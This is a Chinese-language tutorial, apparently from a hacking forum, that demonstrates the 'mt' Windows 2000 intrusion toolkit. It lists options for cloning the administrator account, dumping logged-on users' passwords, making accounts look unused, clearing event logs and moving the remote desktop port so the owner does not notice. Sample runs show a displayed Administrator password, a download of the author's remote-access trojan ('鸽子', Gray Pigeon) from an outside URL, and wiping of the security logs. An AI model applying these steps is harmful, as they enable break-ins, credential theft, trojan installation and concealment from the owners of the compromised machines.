选项 :
-filter ---更 改 TCP/IP 过滤器的开头状态
-addport ---添加端口到过滤器的允许列表
-setport ---设置端口作为过滤 器的允许列表
-nicinfo ---列出 TCP/IP 界面信息
-pslist ---列出活动进程
-pskill --- 杀毒指定进程
-dlllist ---列出指定进程的 DLL
-sysinfo ---列出系统信息
-shutdown --- 关闭系统
-reboot ---重启系统
-poweroff ---关闭电源
-logoff ---注销当前用户会话
-chkts --- 检查终端服务信息
-setupts ---安装终端服务
-remts ---卸载终端服务
-chgtsp ---重置终端 服务端口
-clog ---清除系统日志
-enumsrv ---列出所有服务
-querysrv ---列出指定服务的 详细信息
-instsrv ---安装一个服务
-cfgsrv ---更改服务配置
-remsrv ---卸载指定服务
-startsrv --- 启动指定服务
-stopsrv ---停止指定服务
-netget ---从 http/ftp 下载
-redirect --- 端口重定向
-chkuser ---列出所有账户、sid 和 anti 克隆
-clone ---克隆 admin 到目标
-never --- 设置账户看上去从未登录
-killuser ---删除账户,甚至是 "guest" 也可删除
-su --- 以 Local_System 权限运行进程
-findpass ---显示所有已登录用户的口令
-netstat ---列 出 TCP 连接
-killtcp ---杀死 TCP 连接
-psport ---映射端口到进程
-touch --- 设置文件日期和时间到指定值
-secdel ---安全擦除文件或目录占用的空间
-regshell ---进入一个控制台注册表编 辑器
-chkdll ---检测 gina dll 后门
这主要是调 用了c:\boot.i 这个文件,就是开机的双启动菜单,通过它来查看本机用的是什么系统.这里多说一个.. VER功能和它也是一样的.它是系统命令..
timeout=30
default=multi(0)disk(0)rdisk(0)partition(1)\WINNT
[operating systems]
multi(0)disk(0)rdisk(0)partition(1)\WINNT="Microsoft Windows 2000 Server" /fastd
etect
用它也可以来查看自己的机器是否被人克隆 了帐户..
看到了吧..
这个功能和一个 findpass的功能是一样的.
Domain : 77AFCF2E775047B
Username : Administrator
Password : 123
此功能是在DOS下显示主机现在正在运行的程序.如果是在XP下
我 们就可以直接用tasklist 就可以了...担在2000下不技术
就这样子..看到了吧?
再试个..
关它..
现在我们来关掉932这个进程..
C:\>mt -pskill 772
这里说明下,我们平时我们在入 侵2000的机器时有时开不了3389,那是因为只有2000服务器版的系统才能开3389,如果不是服务器版的,是开不了3389的,这也是有很多人不 问为什么就一直开3389而打不开的原因..
我虚拟机不是服务器的,所以打不开..就是这意思..
当我们开了对方机子3389后,主人很容易会发现开 放,那我们可以把3389的端口给改这样只有我们自己去用它...
1030 这个改成你想要的端口..
不带有任何提示,直接重启....一会我试下..
C:\>mt -netget http://user.free2.77169.net/didiaoyin/mm.exe c:\mm.exe
Download completed 290817 bytes ......
Downloaded 284.0KB @94.7KB/S in 2sec.
看到了吧?现在来看一下..我的鸽子...
C:\>mt -clog all
Clean EventLog : Application successful!
Clean EventLog : Security successful!
Clean EventLog : System successful!
没什么好说的,直接关机..
直接注销.
18.mt -remts 卸载终端服务
现 在来试下mt -logoff 这个吧,注销,看下效果..关机也是一样的..